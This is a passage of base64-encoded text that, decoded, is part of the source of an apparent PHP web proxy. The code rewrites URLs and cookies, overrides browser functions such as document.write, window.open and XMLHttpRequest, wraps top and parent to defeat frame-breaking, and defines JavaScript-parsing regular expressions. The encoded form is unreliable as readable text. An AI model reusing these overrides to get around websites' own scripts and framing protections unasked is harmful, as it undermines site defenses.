b3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOw0KCQkJCQl2YXIgY29va3ZhbD10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQzIikpOw0KCQkJCQljb29raWVzKz1jb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCQkJfQ0KCQkJCWVsc2UgY29va2llcys9b2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyPVwkMzsgIik7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIGNvb2tpZXM7DQoJfQ0KDQoJaWYob2JqPT1uYXZpZ2F0b3Ipew0KCQlpZih0aGlzLlVTRVJBR0VOVD09Ii0xIiAmJiAoYXR0ciE9InBsdWdpbnMiICYmIGF0dHIhPSJtaW1lVHlwZSIpKSByZXR1cm4gdW5kZWZpbmVkOw0KCQlpZih0aGlzLlVTRVJBR0VOVD09IiIpIHJldHVybiBvYmpbYXR0cl07DQoJCXZhciBtc2llPXRoaXMuVVNFUkFHRU5ULm1hdGNoKC9tc2llL2kpOw0KCQljb25zdCBVQV9SRUc9L14oW15cL1woXSopXC8/KFteIFwoXSopWyBdKihcKD8oW147XCldKik7PyhbXjtcKV0qKTs/KFteO1wpXSopOz8oW147XCldKik7PyhbXjtcKV0qKTs/W15cKV0qXCk/KVsgXSooW14gXC9dKilcLz8oW14gXC9dKikuKiQvaTsNCgkJc3dpdGNoKGF0dHIpew0KCQkJY2FzZSAidXNlckFnZW50IjogcmV0dXJuIHRoaXMuVVNFUkFHRU5UOw0KCQkJY2FzZSAiYXBwQ29kZU5hbWUiOiByZXR1cm4gdGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpOw0KCQkJY2FzZSAiYXBwVmVyc2lvbiI6IHJldHVybiAobXNpZT90aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQyIFwkMyIpOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDIgKFwkNDsgXCQ3KSIpKTsNCgkJCWNhc2UgInBsYXRmb3JtIjoNCgkJCQl2YXIgdGVtcHBsYXRmb3JtPXRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDQiKTsNCgkJCQlyZXR1cm4gKHRlbXBwbGF0Zm9ybT09ImNvbXBhdGlibGUiIHx8IHRlbXBwbGF0Zm9ybT09IldpbmRvd3MiPyJXaW4zMiI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkNiIpKTsNCgkJCWNhc2UgIm9zY3B1IjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ2IikpOw0KCQkJY2FzZSAibGFuZ3VhZ2UiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDciKSk7DQoJCQljYXNlICJhcHBOYW1lIjoNCgkJCQl2YXIgdGVtcGFwcG5hbWU9KG1zaWU/Ik1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3JlciI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpKTsNCgkJCQlpZih0ZW1wYXBwbmFtZT09Ik9wZXJhIiB8fCB0ZW1wYXBwbmFtZT09Ik1vemlsbGEiKSB0ZW1wYXBwbmFtZT0iTmV0c2NhcGUiOw0KCQkJCXJldHVybiB0ZW1wYXBwbmFtZTsNCgkJCWNhc2UgInByb2R1Y3QiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDkiKSk7DQoJCQljYXNlICJwcm9kdWN0U3ViIjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQxMCIpKTsNCgkJCWNhc2UgInBsdWdpbnMiOiByZXR1cm4gKDw/cGhwIGVjaG8oKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pPycxJzonMCcpKTsgPz49PTE/bmF2aWdhdG9yLnBsdWdpbnM6dW5kZWZpbmVkKTsNCgkJCWNhc2UgIm1pbWVUeXBlIjogcmV0dXJuIG5hdmlnYXRvci5taW1lVHlwZTsNCgkJCWRlZmF1bHQ6IHJldHVybiB1bmRlZmluZWQ7DQoJCX0NCgl9DQoNCglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2giKSB1cmw9bG9jYXRpb24uaHJlZjsNCgllbHNlIHVybD1vYmpbYXR0cl07DQoJdXJsPXRoaXMuZGVfc3Vycm9nYWZ5X3VybCh1cmwpOw0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09InNlYXJjaCIpIHVybD11cmwucmVwbGFjZSgvXlteP10qLywiIik7DQoJcmV0dXJuIHVybDsNCn0sDQoNCmV2ZW50aWZ5OmZ1bmN0aW9uKGExLGEyKXsNCglkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJdGhpcy5zZXRQYXJlbnRVUkwodGhpcy5DVVJSX1VSTCk7DQp9LA0KDQpzZXRQYXJlbnRVUkw6ZnVuY3Rpb24odXJsKXsNCglpZih0aGlzLnRoZXRvcCE9bnVsbCAmJiB0aGlzLnRoZXRvcCE9d2luZG93KXsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybCcpLnZhbHVlPXVybDsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Byb3h5X2xpbmsnKS5ocmVmPXRoaXMuYWRkX3F1ZXJ5c3R1ZmYodGhpcy5zdXJyb2dhZnlfdXJsKHVybCksIj0tJiIpOw0KCX0NCn0sDQoNCnNldFBhcmVudFN0dWZmOmZ1bmN0aW9uKHByb3RvLHNlcnZlcil7IC8vIGFtYXppbmcgY3JlYXRpdml0eSB3aXRoIHRoZSBuYW1lIG9uIG15IHBhcnQNCgl2YXIgdG9wZG9jPXRoaXMudGhldG9wLmRvY3VtZW50Ow0KCXRvcGRvYy50aXRsZT1kb2N1bWVudC50aXRsZTsNCg0KCS8vIGZpbmQgYW5kIHNldCBzaG9ydGN1dCBpY29uDQoJdmFyIHRvcGhlYWQ9dG9wZG9jLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF07DQoJdmFyIGxpbmtzPXRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKTsNCgl2YXIgbGluaz1udWxsOw0KCWZvcih2YXIgaT0wOyBpPGxpbmtzLmxlbmd0aDsgaSsrKXsgaWYobGlua3NbaV0udHlwZT09ImltYWdlL3gtaWNvbiIgJiYgbGlua3NbaV0ucmVsPT0ic2hvcnRjdXQgaWNvbiIpIGxpbms9bGlua3NbaV07IH0NCg0KCWlmKHRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGg+MCkgdG9waGVhZC5yZW1vdmVDaGlsZCh0b3Bkb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKVswXSk7DQoNCgl2YXIgZmF2aWNvbj10b3Bkb2MuY3JlYXRlRWxlbWVudCgibGluayIpOw0KCWZhdmljb24udHlwZT0iaW1hZ2UveC1pY29uIjsNCglmYXZpY29uLnJlbD0ic2hvcnRjdXQgaWNvbiI7DQoJZmF2aWNvbi5ocmVmPShsaW5rPT1udWxsP3RoaXMuc3Vycm9nYWZ5X3VybChwcm90bysiOi8vIitzZXJ2ZXIrIi9mYXZpY29uLmljbyIpOmxpbmsuaHJlZik7DQoJdG9waGVhZC5hcHBlbmRDaGlsZChmYXZpY29uKTsNCn0sDQoNClhNTEh0dHBSZXF1ZXN0X3dyYXA6ZnVuY3Rpb24oeG1saHR0cG9iail7DQoJeG1saHR0cG9iai48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X29wZW49eG1saHR0cG9iai5vcGVuOw0KCXhtbGh0dHBvYmoub3Blbj08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LlhNTEh0dHBSZXF1ZXN0X29wZW47DQoJcmV0dXJuIHhtbGh0dHBvYmo7DQp9LA0KDQpYTUxIdHRwUmVxdWVzdF9vcGVuOmZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzFdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uc3Vycm9nYWZ5X3VybChhcmd1bWVudHNbMV0pOw0KCXJldHVybiB0aGlzLjw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fb3Blbi5hcHBseSh0aGlzLGFyZ3VtZW50cyk7DQp9LA0KDQovLyBXUkFQUEVEIEZVTkNUSU9OUyBBTkQgT0JKRUNUUw0KdGhldG9wOnRvcCwNCnRoZXBhcmVudDpwYXJlbnQsDQpzZXRUaW1lb3V0OndpbmRvdy5zZXRUaW1lb3V0LA0Kc2V0SW50ZXJ2YWw6d2luZG93LnNldEludGVydmFsLA0KZG9jdW1lbnRfd3JpdGVfcXVldWU6IiIsDQpwdXJnZTpmdW5jdGlvbigpew0KCXRoZWh0bWw9dGhpcy5kb2N1bWVudF93cml0ZV9xdWV1ZTsNCglpZih0aGVodG1sPT0iIikgcmV0dXJuOw0KCXRoZWh0bWw9dGhpcy5wYXJzZV9hbGxfaHRtbCh0aGVodG1sKTsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCS8vYWxlcnQodGhlaHRtbCk7IC8vIERFQlVHDQoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pih0aGVodG1sKTsNCn0sDQoNCnB1cmdlX25vcGFyc2U6ZnVuY3Rpb24oKXsNCgl0aGVodG1sPXRoaXMuZG9jdW1lbnRfd3JpdGVfcXVldWU7DQoJaWYodGhlaHRtbD09IiIpIHJldHVybjsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCWRvY3VtZW50LndyaXRlXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4odGhlaHRtbCk7DQp9DQoNCn0NCg0KLy8gfX19DQoNCi8vIEpBVkFTQ1JJUFQgRlVOQ1M6IFdSQVBQSU5HIHt7ew0KDQpkb2N1bWVudC53cml0ZV88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlOw0KZG9jdW1lbnQud3JpdGVsbl88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlbG47DQpkb2N1bWVudC53cml0ZT1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbDsgfQ0KZG9jdW1lbnQud3JpdGVsbj1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbCsiXG4iOyB9DQoNCndpbmRvdy5vcGVuXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz49d2luZG93Lm9wZW47DQp3aW5kb3cub3Blbj1kb2N1bWVudC5vcGVuPWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwxKSByZXR1cm47DQoJdmFyIHVybD08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnN1cnJvZ2FmeV91cmwoYXJndW1lbnRzWzBdKTsNCglpZigodXJsLnN1YnN0cmluZygwLDEpPT0iXCIiIHx8IHVybC5zdWJzdHJpbmcoMCwxKT09IiciKSAmJiB1cmwuc3Vic3RyaW5nKDAsMSk9PXVybC5zdWJzdHJpbmcodXJsLmxlbmd0aC0xLHVybC5sZW5ndGgpKSB1cmw9dXJsLnN1YnN0cmluZygxLHVybC5sZW5ndGgtMSk7DQoJYXJndW1lbnRzWzBdPXVybDsNCglyZXR1cm4gd2luZG93Lm9wZW5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfQ0KDQpzZXRUaW1lb3V0PWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxsX2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsNCglyZXR1cm4gPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRUaW1lb3V0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0Kc2V0SW50ZXJ2YWw9ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHMubGVuZ3RoPDIpIHJldHVybjsNCglhcmd1bWVudHNbMF09PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5wYXJzZV9hbGxfaHRtbChhcmd1bWVudHNbMF0sImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIpOw0KCXJldHVybiA8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnNldEludGVydmFsLmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0KLyogaG9va2luZyBmb3IgZXZhbCgpLCBub3QgbmVjZXNzYXJ5IGFueW1vcmUsIGJ1dCB3b3JrZWQgcmVsYXRpdmVseSB3ZWxsIGluIHRoZSBwYXN0DQovKmV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj1ldmFsOw0KZXZhbD1mdW5jdGlvbigpew0KCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkgcmV0dXJuOw0KCWFyZ3VtZW50c1swXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnBhcnNlX2FsbF9odG1sKGFyZ3VtZW50c1swXSwiYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Iik7DQoJcmV0dXJuIGV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfSovDQoNCi8vIHdyYXAgdG9wIGFuZCBwYXJlbnQgb2JqZWN0cyBmb3IgYW50aS1mcmFtZSBicmVha2luZw0KaWYoPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5QQUdFX0ZSQU1FRCl7DQoJaWYocGFyZW50PT10b3ApIHBhcmVudD1zZWxmOw0KCWlmKHRvcCE9c2VsZikgdG9wPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4udGhldG9wLmZyYW1lc1swXTsNCn0NCg0KLy8gfX19DQoNCi8vPC9zY3JpcHQ+PD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUkVHRVhQUyB7e3sNCg0KIyBUaGlzIGlzIHdoZXJlIGFsbCB0aGUgcGFyc2luZyBpcyBkZWZpbmVkLiAgSWYgYSBzaXRlIGlzbid0IGJlaW5nDQojIHBhcnNlZCBwcm9wZXJseSwgdGhlIHByb2JsZW0gaXMgbW9yZSB0aGFuIGxpa2VseSBpbiB0aGlzIHNlY3Rpb24uDQojIFRoZSByZXN0IG9mIHRoZSBjb2RlIGlzIGp1c3QgdGhlcmUgdG8gc2V0IHVwIHRoaXMgd29uZGVyZnVsIGJ1bmNoDQojIG9mIGluY29tcHJlaGVuc2libGUgcmVndWxhciBleHByZXNzaW9ucy4NCg0KDQojIFJFR0VYUFM6IENPTlZFUlNJT04gVE8gSkFWQVNDUklQVCB7e3sNCg0KZnVuY3Rpb24gYm9vbF90b19qcygkYm9vbCl7IHJldHVybiAoJGJvb2w/J3RydWUnOidmYWxzZScpOyB9DQpmdW5jdGlvbiBjb252ZXJ0YXJyYXlfdG9famF2YXNjcmlwdCgpew0KCWdsb2JhbCAkcmVnZXhwX2FycmF5czsNCgkkanM9J3JlZ2V4cF9hcnJheXM9bmV3IEFycmF5KCcuY291bnQoJHJlZ2V4cF9hcnJheXMpLiIpO1xuIjsNCglyZXNldCgkcmVnZXhwX2FycmF5cyk7DQoJd2hpbGUobGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpKXsNCgkJJGpzLj0icmVnZXhwX2FycmF5c1tcIiRrZXlcIl09bmV3IEFycmF5KCIuY291bnQoJGFycikuIik7XG4iOw0KCQlmb3IoJGk9MDskaTxjb3VudCgkYXJyKTskaSsrKXsNCgkJCSRqcy49InJlZ2V4cF9hcnJheXNbXCIka2V5XCJdWyRpXT1uZXcgQXJyYXkoIjsNCgkJCWlmKCRhcnJbJGldWzBdPT0xKSAkanMuPScxLCcuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVsyXSkuJ2csIicuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVszXSx0cnVlKS4nIic7DQoJCQllbHNlaWYoJGFyclskaV1bMF09PTIpICRqcy49JzIsJy5lc2NhcGVfcmVnZXhwKCRhcnJbJGldWzJdKS4iZyx7JGFyclskaV1bM119Ii4oY291bnQoJGFyclskaV0pPDU/bnVsbDonLCcuYm9vbF90b19qcygkYXJyWyRpXVs0XSkpLihjb3VudCgkYXJyWyRpXSk8Nj9udWxsOiIseyRhcnJbJGldWzVdfSIpOw0KCQkJJGpzLj0iKTtcbiI7DQoJCX0NCgl9DQoJcmV0dXJuIHN0cmlwc2xhc2hlcygkanMpOw0KfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFZBUklBQkxFUyB7e3sNCg0KZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQojICdpbWcnIHdhcyBpbiAkanNhdHRycy4uLiB3aGF0J3MgdGhhdCBmb3I/DQokanNhdHRycz0nKD86aHJlZnxzcmN8bG9jYXRpb258YWN0aW9ufGJhY2tncm91bmRJbWFnZXxwbHVnaW5zcGFnZXxjb2RlYmFzZXxsb2NhdGlvblwuaHJlZnxpbm5lckhUTUwpJzsNCiRqc2hvb2thdHRycz0iKD86eyRqc2F0dHJzfXxjb29raWV8c2VhcmNofGhvc3RuYW1lKSI7DQokanNob29rZ2V0YXR0cnM9Iig/OnskanNob29rYXR0cnN9fHVzZXJBZ2VudHxwbGF0Zm9ybXxhcHBDb2RlTmFtZXxhcHBOYW1lfGFwcFZlcnNpb258bGFuZ3VhZ2V8b3NjcHV8cHJvZHVjdHxwcm9kdWN0U3VifHBsdWdpbnMpIjsNCi8vJGpzaHRtbGF0dHJzPScoaW5uZXJIVE1MKSc7DQokanNtZXRob2RzPScobG9jYXRpb25cLig/OnJlcGxhY2V8YXNzaWduKSknOw0KJGpzbG9jaG9zdD0nKGxvY2F0aW9uXC5ob3N0KD86bmFtZSl7MCwxfSknOw0KLy8kanNsb2NzZWFyY2g9Jyhsb2NhdGlvblwuc2VhcmNoKSc7DQovLyRqc3JlYWxwYWdlPScoKD86KD86ZG9jdW1lbnR8d2luZG93KVwuKXswLDF9bG9jYXRpb24oPzooPz1bXlwuXSl8XC5ocmVmKXxkb2N1bWVudFwuZG9jdW1lbnRVUkl8W2Etel0rXC5yZWZlcnJlciknOw0KJGh0bWxhdHRycz0nKGRhdGF8aHJlZnxzcmN8YmFja2dyb3VuZHxwbHVnaW5zcGFnZXxjb2RlYmFzZXxhY3Rpb24pJzsNCg0KJGp1c3RzcGFjZT0iW1x0IF0qIjsNCiRwbHVzanVzdHNwYWNlPSJbXHQgXSsiOw0KJGFueXNwYWNlPSJbXHRcclxuIF0qIjsNCiRwbHVzc3BhY2U9IltcdFxyXG4gXSsiOw0KJG9wZXJhbmRzPSdbXCtcLVwvXCpdJzsNCiRub3RvcGVyYW5kcz0nW15cK1wtXC9cKl0nOw0KDQokcXVvdGVzZWc9Jyg/OiIoPzpbXiJdfFtcXFxcXSIpKj8ifFwnKD86W15cJ118W1xcXFxdXCcpKj9cJyc7DQokcmVnc2VnPSdcLyg/OlteXC9dfFtcXFxcXVwvKSo/XC8nOw0KDQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86eyRxdW90ZXNlZ318eyRqc3ZhcnNlY3R9fCkpXCkpPyI7DQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoeyRhbnlzcGFjZX0oPzp7JHF1b3Rlc2VnfXx7JGpzdmFyc2VjdH18KSkoPzp7JGFueXNwYWNlfSx7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKSp7JGFueXNwYWNlfVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KLy8kanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OlteXChcKVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVwpKT8oPzpcWyg/OlteXFtcXVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVxdKT8iOw0KLy8kanN2YXJvYmo9Jyg/OlthLXpBLVowLTlcLl9cKFwpXFtcXVwrXC1dKyknOw0KJGpzdmFyc2VjdD0nW2EtekEtWjAtOV9cJF0oPzpbYS16QS1aMC05XCRcLl9cL1xbXF1cKy1dKlthLXpBLVowLTlfXC9cXV0pPyc7DQokanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KJGpzdmFyb2JqPSJ7JGpzb2Jqc2VjdH0oPzpcLnskanNvYmpzZWN0fSkqIjsNCi8vJGpzcXVvdGVyZWc9IigoPzooPzp7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskYW55c3BhY2V9XCspKil7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskanVzdHNwYWNlfSg/PVs7XH1cblxyXSkpIjsgIyBIVUg/DQokanNxdW90ZXNlY3Q9Iig/OnskYW55c3BhY2V9eyRxdW90ZXNlZ318eyRqc3Zhcm9ian0pKSI7DQokanNxdW90ZXJlZz0ieyRqc3F1b3Rlc2VjdH0oPzpcK3skanNxdW90ZXNlY3R9KSoiOw0KDQovLyRub3Rqc3ZhcnNlY3Q9J1teYS16QS1aMC05XC5fXFtcXVwrLV0nOw0KLy8kbm90anN2YXJzZWN0PSdbXmEtekEtWjAtOVwuX1xbXF1cL10nOw0KJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXSc7DQoNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfVs7XH1cblxyXCdcIl0pIjsNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfSg/Ols7XH1dfHskbm90b3BlcmFuZHN9W1xuXHJdKSkiOw0KJGpzZW5kPSIoPz17JGp1c3RzcGFjZX0oPzpbO1x9XG5ccl18eyRub3RvcGVyYW5kc31bXG5ccl0pKSI7DQokbm90anNlbmQ9Iig/IXskanVzdHNwYWNlfSg/Ols7XH1cblxyXXx7JG5vdG9wZXJhbmRzfVtcblxyXSkpIjsNCiRqc2JlZ2luPSIoKD86Wztce1x9XG5cclwoXCldfFtcIT1dPSl7JGFueXNwYWNlfSkiOw0KLy8kanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XG5cclwoXCk9XCtcLVwvXCpdKXskYW55c3BhY2V9KSI7DQokanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XChcKT1cK1wtXC9cKl0peyRqdXN0c3BhY2V9KSI7DQoNCiRodG1sbm9xdW90PScoPzpbXiJcJ1xcXFxdW14+IF0qKSc7DQokaHRtbG5vcXVvdG5vcW09Jyg/OlteXD8iXCdcXFxcXVteXD8+IF0qKSc7DQokaHRtbHJlZz0iKHskcXVvdGVzZWd9fHskaHRtbG5vcXVvdH0pKSI7DQokeG1saHR0cHJlcT0iKD86WE1MSHR0cFJlcXVlc3R7JGFueXNwYWNlfSg/OlwoeyRhbnlzcGFjZX1cKXwpfEFjdGl2ZVhPYmplY3R7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX1bXlwpXStcLlhNTEhUVFBbJ1wiXXskYW55c3BhY2V9XCkpKD89OykiOw0KJGpzbmV3b2JqPSIoPzp7JGFueXNwYWNlfW5ld3skcGx1c3NwYWNlfXx7JGFueXNwYWNlfSkiOw0KJGZvcm1ub3Rwb3N0PSIoPzooPyFtZXRob2R7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Oid8XCIpP3Bvc3QpW14+XSkiOw0KJGZyYW1ldGFyZ2V0cz0nXyg/OnRvcHxwYXJlbnR8c2VsZiknOw0KDQokanNfc3RyaW5nX21ldGhvZHM9Jyg/OmFuY2hvcnxiaWd8Ymxpbmt8Ym9sZHxjaGFyQXR8Y2hhckNvZGVBdHxjb25jYXR8Zml4ZWR8Zm9udGNvbG9yfGZvbnRzaXplfGZyb21DaGFyQ29kZXxpbmRleE9mfGl0YWxpY3N8bGFzdEluZGV4T2Z8bGlua3xtYXRjaHxyZXBsYWNlfHNlYXJjaHxzbGljZXxzbWFsbHxzcGxpdHxzdHJpa2V8c3VifHN1YnN0cnxzdWJzdHJpbmd8c3VwfHRvTG93ZXJDYXNlfHRvVXBwZXJDYXNlfHRvU291cmNlfHZhbHVlT2YpJzsNCiRqc19zdHJpbmdfYXR0cnM9Jyg/OmNvbnN0cnVjdG9yfGxlbmd0aHxwcm90b3R5cGUpJzsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBKQVZBU0NSSVBUIFBBUlNJTkcge3t7DQoNCiRqc19yZWdleHBfYXJyYXlzPWFycmF5KA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oeyRqc2hvb2tnZXRhdHRyc30peyRhbnlzcGFjZX1cKz0vaSIsJ1wxXDIuXDM9Jy5DT09LX1BSRUYuJy5nZXRBdHRyKFwyLC9cMy8pKycpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oKHskanNob29rYXR0cnN9KXskYW55c3BhY2V9PSg/OnskYW55c3BhY2V9eyRqc3Zhcm9ian17JGFueXNwYWNlfT0pKnskYW55c3BhY2V9KSgoPyFcPSkoeyRub3Rqc2VuZH0uKSopeyRqc2VuZH0vaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLC9cNC8sXDUpJyksDQoJYXJyYXkoMSwyLCIveyRqc2JlZ2lucmlnaHR9KHskanN2YXJvYmp9KVwuKHskanNob29rZ2V0YXR0cnN9KShbXlwuPWEtejAtOV9cW1xdXHRcclxuXXxcLnskanNfc3RyaW5nX21ldGhvZHN9XCh8XC57JGpzX3N0cmluZ19hdHRyc317JG5vdGpzdmFyc2VjdH0pL2kiLCdcMScuQ09PS19QUkVGLicuZ2V0QXR0cihcMiwvXDMvKVw0JyksDQoNCglhcnJheSgxLDIsIi8oW15hLXowLTldeyRqc21ldGhvZHN9eyRhbnlzcGFjZX1cKCkoW14pXSopXCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFwzKSknKSwNCglhcnJheSgxLDIsIi8oW15hLXowLTldKWV2YWx7JGFueXNwYWNlfVwoKHskYW55c3BhY2V9eyRqc3Zhcm9ian0pXCkvaSIsJ1wxZXZhbCgnLkNPT0tfUFJFRi4nLnBhcnNlX2FsbF9odG1sKFwyLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKSknKSwNCg0KCWFycmF5KDEsMiwiL3skanNiZWdpbn1cLmFjdGlvbnskYW55c3BhY2V9PS9pIiwnXDEuJy5DT09LX1BSRUYuJy52YWx1ZT0nKSwNCgkvL2FycmF5KDEsMiwiL3skanNiZWdpbn0oXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oXCJ8JykoeyRqc2F0dHJzfSkoXFwyKXskYW55c3BhY2V9LHskYW55c3BhY2V9KSguKj8peyRqc2VuZH0vaSIsJ1wxXDInLkNPT0tfUFJFRi4nLnN1cnJvZ2FmeV91cmwoXDYpJyksDQoJLy9hcnJheSgxLDIsIi97JGpzYmVnaW59KFwuc2V0QXR0cmlidXRleyRhbnlzcGFjZX1cKHskYW55c3BhY2V9KFwifCcpKHskanNhdHRyc30pKFxcMil7JGFueXNwYWNlfSx7JGFueXNwYWNlfSkoLio/KXskanNlbmR9L2kiLCdcMVwyJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFw2KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oeyRqc3F1b3RlcmVnfSl7JGFueXNwYWNlfSx7JGFueXNwYWNlfSh7JGpzcXVvdGVyZWd9KXskYW55c3BhY2V9XCkvaSI